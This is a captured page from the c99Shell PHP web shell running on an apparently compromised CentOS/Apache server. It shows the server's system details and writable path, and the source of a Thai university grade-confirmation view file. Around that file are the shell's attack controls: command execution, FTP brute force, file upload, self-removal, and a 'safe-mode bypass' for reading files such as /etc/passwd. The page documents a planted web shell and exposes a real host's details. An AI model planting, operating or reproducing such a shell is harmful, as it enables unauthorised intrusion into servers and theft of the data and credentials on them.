!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_confirmCalGrade.php (4.85 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" align="center">
    <tr>
        <td><div align="center">
<?php
        
echo form_open($this->config->item("rg_folder")."grade/processConfirmCalGrade", array("name" => "myform""id" => "myform"));
?>
        <table width="100%">
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td>
                        <table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">หลักสูตร</td>
                            <td><?php echo $qu_cur->row()->curName;?></font>
                            <input type="hidden" name="curId" id="curId" value="<?php echo $qu_cur->row()->curId;?>">
                            <input type="hidden" name="curName" id="curName" value="<?php $qu_cur->row()->curName;?>">
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ปีการศึกษาที่เข้า</td>
                            <td><?php echo $adY;?>
                            <input type="hidden" name="adY" id="adY" value="<?php echo $adY;?>"></td>
                        </tr>
                        <tr bgcolor="<?php echo  $tr_color_even;?>">
                            <td class="coltd_szone">ปีการศึกษาที่จะประมวลผล</td>
                            <td><?php echo $acY;?>
                            <input type="hidden" name="acY" id="acY" value="<?php echo $acY;?>"></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ภาคการศึกษาที่จะประมวลผล</td>
                            <td><?php echo $qu_tm->row()->tmCode;?>
                            <input type="hidden" name="tmId" id="tmId" value="<?php echo $qu_tm->row()->tmId;?>">
                            <input type="hidden" name="stdTmIdAdmit" id="stdTmIdAdmit" value="<?php echo $stdTmIdAdmit;?>"></td>
                        </tr>
                        <tr bgcolor="<?php echo  $tr_color_even;?>">
                            <td class="coltd_szone">ชั้นปีนักศึกษา</td>
                            <td><?php echo $qu_sy->row()->syCode;?>
                            <input type="hidden" name="syId" name="syId" value="<?php echo $qu_sy->row()->syId;?>"></td>
                        </tr></table>
                    </td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="2">
                    <table class="headCol">
                        <tr>
                            <th class="chkboxCol">เลือก</th>
                            <th class="stdCodeCol">รหัสนักศึกษา</th>
                            <th>ชื่อ-นามสกุลนักศึกษา</th>
                            <th>GPA</th>
                            <th>สถานะนักศึกษา</th>
                        </tr>
<?php
            $i 
0;
            if (
$rs_std->num_rows()) {
                foreach (
$rs_std->result() as $row) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center">
<?php
                            
if (($row->stdSstId != $row->stdSstIdTmp) && ($row->stdSstIdTmp == 7)) {
?>
                            <input type="checkbox" id="stdId[]" name="stdId[]" value="<?php echo $row->stdId;?>" />
<?php
                            
}
?>
                            </td>
                            <td align="center"><?php echo $row->stdCode;?></td>
                            <td class="indent" onClick="sendPost(
                            'hidform_ssm', 
                            {'stdId':<?php echo $row->stdId;?>},
                             '<?php echo site_url($this->config->item('rg_folder').'popup/showDetailsSsm');?>',
                             {})" /><span class="hand"><?php echo $row->prefixName.$row->stdName.' '.$row->stdSurname;?></span></td>
                            <td align="center"><?php echo number_format($row->stdGPA2);?></td>
                            <td class="indent"><?php echo $row->sstName;?></td>
                        </tr>
<?php
                    $i
++;
                }
            } else {
?>
                        <tr>
                            <td colspan="5" align="center"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฏรายชื่อนักศึกษาในฐานข้อมูล **</font></td>
                        </tr>
<?php
            
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="2" align="right">รวม <?php echo $i;?> รายการ</td>
                </tr>
                <tr>
                    <td colspan="2" align="center"><br><input type="submit" name="confirm" value="ยืนยัน" <?php if($i == 0) echo 'disabled';?>>
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล"></td>
                </tr>                
            </table><?php echo form_close();?></div>
        <div><table class="mark" border="0">
            <tr>
                <td class="coltd_mark"><span class="error">หมายเหตุ :</span></td>
                <td><span class="error">ทำเมนูนี้ในภาคการศึกษาที่ 2 ของชั้นปี 1 เท่านั้น</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"><span class="error"></span></td>
                <td><span class="error">ก่อนกดยืนยัน ต้องประมวลผลเกรดนักศึกษาให้ถูกต้อง เนื่องจากเมื่อกดยืนยันแล้ว จะไม่สามารถเปลี่ยนแปลงได้อีก</span></td>
            </tr>
        </table></div></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0126 ]--